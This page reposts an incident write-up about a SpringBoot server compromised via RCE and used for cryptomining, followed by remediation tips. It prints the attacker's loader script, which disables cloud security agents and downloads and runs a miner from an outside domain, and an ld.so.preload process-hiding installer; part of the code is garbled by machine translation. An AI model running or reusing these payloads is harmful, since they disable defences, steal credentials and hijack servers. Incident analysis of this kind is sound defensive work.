<del id="nnjnj"></del><track id="nnjnj"></track>

<p id="nnjnj"></p>

<address id="nnjnj"></address>

    <pre id="nnjnj"><pre id="nnjnj"></pre></pre>

      <noframes id="nnjnj"><ruby id="nnjnj"><ruby id="nnjnj"></ruby></ruby>

      • 自動秒收錄
      • 軟件:1973
      • 資訊:56215|
      • 收錄網站:181186|

      IT精英團

      記得服務器被黑過一次 沒想到能輕松搞定~

      記得服務器被黑過一次 沒想到能輕松搞定~

      瀏覽次數:
      評論次數:
      編輯: 陽煦
      信息來源: ITPUB
      更新日期: 2022-05-05 18:32:56
      摘要

      常在河邊走,哪能不濕鞋。自認為安全防范意識不錯,沒想到服務器被入侵挖礦的事情也能落到自己頭上。本文簡要記錄發現服務器被入侵挖礦的過程,同時分析木馬的痕跡和信息,最后給出解決方法。服務器被入侵挖礦過程事

      • 正文開始
      • 相關閱讀
      • 推薦作品

      經常在河邊走,濕不了鞋。我以為自己很有自我安全感,沒想到服務器入侵挖礦也能落到自己頭上。簡要記錄了發現服務器被入侵和挖掘的過程,分析了木馬的蹤跡和信息,最后給出了解決方案。

      服務器被入侵挖礦過程

      事情經過

      昨天是星期六,我睡得很晚。躺在床上玩手機,突然收到阿里云的消息和郵件提醒,服務器有異常行為:

      你一看到郵件的內容,就知道了。打開電腦處理一下。首先,使用netstat命令查看端口,找到一個異常端口,但不顯示程序名。此時,我心里已經很清楚,服務器上的Java程序是遠程執行的(RCE),甚至可能被植入了rootkit。第一個問題是保證業務的正??捎?,所以趕緊拉起另一個實例,遷移業務。接下來,首先關閉被入侵的服務器,然后一步步研究入侵過程及其在服務器上的行為。

      入侵行為分析

      根據郵件內容,SpringBoot應用程序是getshell,用遠程代碼執行。執行的代碼語句base64解碼為:

      python -c '導入urllibexec urllib . urlopen(' http://m . windows update support . org/d/loader . py ')。閱讀()

      下載它,內容如下:

      import sys import OS from OS . path import expand server=sys . version SHS=' ' ' PS aux | grep-v grep | grep ' aegis ' | awk ' { print $ 11 } ' | xargs dirname | xargs RM-rfps aux | grep | grep ' hids ' | awk ' { print $ 11 } ' | xargs dirname | xargs RM-rfps aux | grep-v grep | grep ' cloud walker ' | awk ' { print $ 11 } ' ' xargs RM-rfps aux | grep-v grep | grep ' edr ' | awk ' { print $ 2 } ' | xargs-I { } kill-9 { } PS aux | grep ' aegis ' | awk ' { print $ 2 } ' | xargs-I { } kill-9 { } PS aux | grep ' Yun ' | awk ' { print $ 2 } ' | xargs-I { } kill-9 { } PS aux | grep-v grep | grep '

      ep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}
      rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/bin
      ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {}
      '''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try:os.mkdir(homedir+"/.git")except Exception as e:print(e)if os.path.isdir(homedir+"/.git"):gitdir=homedir+"/.git"try:os.mkdir("./.git")except Exception as e:print(e)if os.path.isdir("./.git"):gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f:html = f.read()open(gitdir + "/kworkers", 'wb').write(html)else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f:f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):os.system(gitdir+"/kworkers")else:os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

      遠程代碼主要做了這些事情:

      1. 卸載服務器上的安全監控工具;事后開機,發現阿里云盾果然被卸載了
      2. 關掉所有kworkers進程;
      3. 在當前目錄下創建 .git 目錄,下載并執行 kworkers 程序。

      上網搜了一下 kworkers,發現是挖礦應用,并非加密勒索等木馬,心里稍微安心一點。通過阿里云后臺監控,可以看到木馬入侵后,短時間內cpu占用率飆升(本人處理及時,木馬挖礦時間大概持續5分鐘左右):

      服務器殘留痕跡

      大概知道了木馬的行為,接著重啟服務器,查看服務器上的痕跡。1、查看有無添加定時任務:
      # crontab -l2 * * * /xxx/.git/kworkers
      木馬添加了定時啟動任務。2、進入木馬主目錄,發現下載了如下文件:

      此外,上層目錄和家目錄還多了 cert_key.pem 和 cert.pem 兩個文件,分別存放公鑰和密鑰。3、查看木馬留下的日志,有如下內容:
      /xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound  protectedpassfound  providedpassfound  +clientpassfound  +clientpassfound  protectedpassfound  providedpassfound  qualitypassfound  (pluspassfound  (digits,passfound  promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd  /xxx/.git/kworkers/xxx/.gitpassfound  file,passfound  settingspassfound  file.passfound  callbackspassfound  Callbackpassfound  examplepassfound  promptpassfound  passwordpassfound  informationpassfound  tokenpassfound  tokenpassfound  tokenpassfound  Passwordpassfound  passwordpassfound  passwordpassfound  -basedpassfound  Passwordpassfound  (usingpassfound  field>passfound  retrypassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  passwordpassfound  passwordpassfound  foobarpassfound  foobarpassfound  secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range  xxx.xxx../16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq= time=496.309μsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq= time=257.973μsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80  openxxx.xxx0xxx:443  openversion  same downloadversion  same dbusrestart dbusexec again dbus downrunkill process pid 23709
      process completedversion same hideproc.shskip restart hideproc.shversion same sshkey.shskip restart sshkey.shversion same autoupdateskip restart autoupdateversion same kworkersKey path not found
      根據日志,主要是下載程序,檢測用戶名和密碼,探測內網,然后啟動自動更新、隱藏進程等程序。
      1. 對 hideproc.sh 感興趣,其內容為:
      if [ "$EUID" -ne 0 ]  then echo "Please run as root"elseif [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"elseapt-get update -yapt-get install build-essential -yyum check-updateyum install build-essential -ydnf groupinstall "Development Tools" -yyum group install "Development Tools"  -ycurl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
      gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldlmv libc2.28.so /usr/local/lib/ -fgrep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preloadrm -f processhider.cls >/tmp/.1 2>&1grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fifi
      其首先檢測是否root用戶,然后編譯 libc2 共享庫,注入隱藏進程的代碼。這應該是用netstat無法查看到進程名的原因。5、查看訪問日志,發現期間有個IP對服務器進行爆po:

      其他信息

      除了上述文件,/tmp文件夾下還生成了.1和.1.sh-文件;

      查詢可疑ip,位于國內北京市,應該是肉雞;

      查詢木馬下載域名 windowsupdatesupport.org,今年6月注冊,解析ip都在國外。該域名很有混淆性,并且為了方便直接用http訪問;

      除了下載木馬文件挖礦,未改變服務器上的其他數據。

      服務器被入侵挖礦解決辦法

      雖然知道是 SpringBoot 應用觸發了 RCE,但遺憾目前仍未找到是哪個包導致的漏洞。目前采取的緩解措施為:1、被入侵服務器重裝系統;
      2、使用非 root 用戶啟動 SpringBoot 應用;
      3、被入侵的是子系統,增加基本授權:
      apt install -y apache2-utilshtpasswd /etc/nginx/conf.d/.htpasswd user

      然后配置 Nginx 使用認證信息:

      server {...auth_basic  "子系統鑒權:";auth_basic_user_file /etc/nginx/conf.d/.htpasswd;..}

      4、防火墻限制對外連接。

      上述錯誤能一定程度上避免類似情況再次發生,但找到應用程序中的漏洞才是接下來的重點。

      總結

      幸運的是這次來的是挖礦木馬,服務器上的程序和數據都未受影響。也很感謝阿里云免費的安全提醒,讓我在第一時間處理。

      但這次事故也敲醒了警鐘:

      1. 不要隨意用 root 權限運行程序;
      2. 防火墻權限要嚴格收緊;
      3. 做好安全監控;
      4. 時刻做好數據備份。
      納尼?數據也是立法的嗎?
      ? 上一篇 2022-05-05
      如何在Linux下擴展XFS根分區
      下一篇 ? 2022-05-05
      • 胡迪核心知識點詳解(好文章合集)
        1閱讀 0條評論 個贊
        以下文章來源于公眾號-3分鐘秒懂大數據,作者在IT中穿梭旅行在Flink實時流中,經常會通過FlinkCDC插件讀取Mysql數據,然后寫入Hudi中。所以在執行上述操作時,需要了解……
      • 前端面試必須解決網絡中的跨域問題
        0閱讀 0條評論 個贊
        什么是跨域瀏覽器有一個重要的安全策略,稱之為「同源策略」其中,源=協議+主機+端口源=協議+主機+端口源=協議+主機+端口,兩個源相同,稱之為同源,兩個源不同,稱之為跨源或跨域比如:源1源2是否同……
      • 如何在Bash腳本中使用強大的Linux測試命令
        0閱讀 0條評論 個贊
        Linuxtest命令是Shell內置命令,用來檢測某個條件是否成立。test通常和if語句一起使用,并且大部分if語句都依賴test??梢詫⒁粋€元素與另一個元素進行比較,但它更?!?/div>
      • 真正的建筑設計是什么樣子的?
        1閱讀 0條評論 個贊
        什么是架構和架構本質在軟件行業,對于什么是架構,都有很多的爭論,每個人都有自己的理解。此君說的架構和彼君理解的架構未必是一回事。因此我們在討論架構之前,我們先討論架構的概念定義,概念是人認識這個世界的……
      • 10分鐘了解云原生 值得收藏~
        0閱讀 0條評論 個贊
        文章轉載:奇妙的Linux世界我們已經進入云計算下半場,不再像上半場在糾結要不要上云,而是討論怎么上云?才能把云計算的價值發揮到淋漓盡致。如何把云計算與不同的業務場景深度結合?如何讓技術真正作用于企業……
      發表評論 共有條評論
      用戶名: 密碼:
      驗證碼: 匿名發表
      • 記得網上一個K8s Ingress訪問故障排除 最后卻不是帖子的鍋
        1閱讀 0條評論 個贊
        具體現象應用遷移至我們的PaaS平臺后會出現偶發性的502問題,錯誤見圖片:相比于程序的請求量,錯誤肯定是比較少的,但是錯誤一直在發生,會影響調用方的代碼,需要檢查下問題原因。為啥我們只看到了POST……
      • 微服務架構下基于Prometheus構建綜合監控平臺的最佳實踐
        2閱讀 0條評論 個贊
        隨著Prometheus逐漸成為云原生時代的可觀測事實標準,那么今天為大家帶來在微服務架構下基于Prometheus構建一體化監控平臺的最佳實踐和一些相關的思考,內容主要包括以下幾個部分:微服……
      • 如何優雅地升級Kubernetes集群的Docker和Containerd版本
        1閱讀 0條評論 個贊
        前言公司用的k8s集群是“多環境合一”的方式,集群流量入口也摒棄了常見的traefik和ingress-nginx,直接用了一個國內不常見的底層基于Envoy的APIGateway網關服務。當然還有……
      • MySQL批量插入數據 一次插入多少行數據效率最高?
        7閱讀 0條評論 個贊
        一、前言我們在操作大型數據表或者日志文件的時候經常會需要寫入數據到數據庫,那么最合適的方案就是數據庫的批量插入。只是我們在執行批量操作的時候,一次插入多少數據才合適呢?假如需要插入的數據有百萬條,那……
      • 不容錯過的20個ES6技巧
        5閱讀 0條評論 個贊
        前言大家好,我是xieyezi,好久不見,我又重新回歸掘金啦,這次為大家整理了20個使用頻率很高的ES6代碼塊,希望大家喜歡……
      • 提高Java字符串編碼和解碼性能的技巧
        1閱讀 0條評論 個贊
        1常見字符串編碼●常見的字符串編碼有:LATIN1只能保存ASCII字符,又稱ISO-8859-1。UTF-8變長字節編碼,一個字符需要使用1個、2個或者3個byte表示。由于中文通常需要3個字節……
      • 前端面試必須解決網絡中的跨域問題
        0閱讀 0條評論 個贊
        什么是跨域瀏覽器有一個重要的安全策略,稱之為「同源策略」其中,源=協議+主機+端口源=協議+主機+端口源=協議+主機+端口,兩個源相同,稱之為同源,兩個源不同,稱之為跨源或跨域比如:源1源2是否同……
      • 管理數百個Kubernetes集群需要什么?
        0閱讀 0條評論 個贊
        文章轉載:進擊云原生(版權歸原作者所有,侵刪)要點:部署一個具備生產就緒所需所有依賴關系的Kubernetes集群需要數天時間。如果不自動化這個過程,管理Kubernetes集群的浮動是非常困難的。在……
      • 大數據平臺核心架構圖解 推薦收藏!
        1閱讀 0條評論 個贊
        我們先來看看這張圖,這是某公司使用的大數據平臺架構圖,大部分公司應該都差不多:從這張大數據的整體架構圖上看來,大數據的核心層應該是:數據采集層、數據存儲與分析層、數據共享層、數據應用層,可能叫法有所不……
      • MySQL支持哈希索引嗎?(收藏)
        1閱讀 0條評論 個贊
        經常有朋友問,MySQL的InnoDB到底支不支持哈希索引?對于InnoDB的哈希索引,確切的應該這么說:(1)InnoDB用戶無法手動創建哈希索引,這一層上說,InnoDB確實不支持哈希索引;(2)……
      • 40幅最完整的計算機網絡思維導圖
        1閱讀 0條評論 個贊
        傳輸介質簡介以太網幀結構IP編址ICMP協議ARP協議傳輸層協議路由基礎靜態路由基礎距離矢量路由協議——RIP鏈路狀態協議——OSPFHDLC&PPP原理與應用幀中繼原理與配置PPPoENAT網絡地址……
      • MySQL查詢語句的準備階段是什么?
        1閱讀 0條評論 個贊
        以下文章來源于公眾號--一樹一溪,作者一樹一溪這一篇主要講的內容是一條簡單查詢語句,在查詢準備階段會干哪些事情?分3個部分:打開表select*替換為表字段填充where條件示例表及SQ……
      • PostgreSQL并行框架分析
        3閱讀 0條評論 個贊
        作者簡介施博文,目前就職于騰訊云PG團隊概覽PostgreSQL并行框架提供了一系列方便的函數,支持在插件或內核中直接調用相關函數,啟動若干個后臺進程進行并行操作。目前,PG的并行框架主要用來……
      • 卡夫卡3.0新功能全暴露 好香??!
        1閱讀 0條評論 個贊
        以下文章來源于云加社區,作者屈志平導語|kafka3.0的版本已經試推行去zk的kafka架構了,如果去掉了zk,那么在kafka新的版本當中使用什么技術來代替了zk的位置呢,接下來我們一起來一探究竟……
      • 一行Python代碼實現并行
        1閱讀 0條評論 個贊
        譯者:caspar譯文:http://985.so/amks原文:http://985.so/amk5Python在程序并行化方面多少有些聲名狼藉。撇開技術上的問題,例如線程的實現和GIL,我……
      • Java“年度加密漏洞”修復 網友:更多堅持Java 8的理由
        9閱讀 0條評論 個贊
        文|Travis出品|OSC開源社區(ID:oschina2013)甲骨文于昨日推送了安全更新修復了一個漏洞,該漏洞允許攻擊者偽造某些種類的SSL證書和握手、雙因素認證信息,以及由一系列廣……
      • 臉書數據庫項目負責人:我從做基礎設施中學到的42件事
        2閱讀 0條評論 個贊
        最近讀到了分布式系統研究者MaheshBalakrishnan的一篇博客《42thingsIlearnedfrombuildingaproductiondatabase》。同樣做……
      • 一天一技能:協調與多流程的完美結合
        7閱讀 0條評論 個贊
        我們知道,協程本質上是單線程單進程,通過充分利用IO等待時間來實現高并發。在IO等待時間之外的代碼,還是串行運行的。因此,如果協程非常多,多少每個協程內部的串行代碼運行時間超過了IO請求的等待時間,那……
      • Java處理異常的9個最佳實踐 你做得對嗎?
        1閱讀 0條評論 個贊
        原文:https://dzone.com/articles/9-best-practices-to-handle-exceptions-in-java譯者:颯然Hang譯文:http://www.r……
      • Linux中的交互式進程查看命令htop
        1閱讀 0條評論 個贊
        htop界面展示HtopLinux進程監控工具“Htop是一個用于Linux/類Unix系統的交互式實時進程監控應用程序,也是top命的替代品,它是所有Linux操作系統上預裝的默……
      最近發布資訊
      更多
      警花高潮嗷嗷叫
      <del id="nnjnj"></del><track id="nnjnj"></track>

      <p id="nnjnj"></p>

      <address id="nnjnj"></address>

        <pre id="nnjnj"><pre id="nnjnj"></pre></pre>

          <noframes id="nnjnj"><ruby id="nnjnj"><ruby id="nnjnj"></ruby></ruby>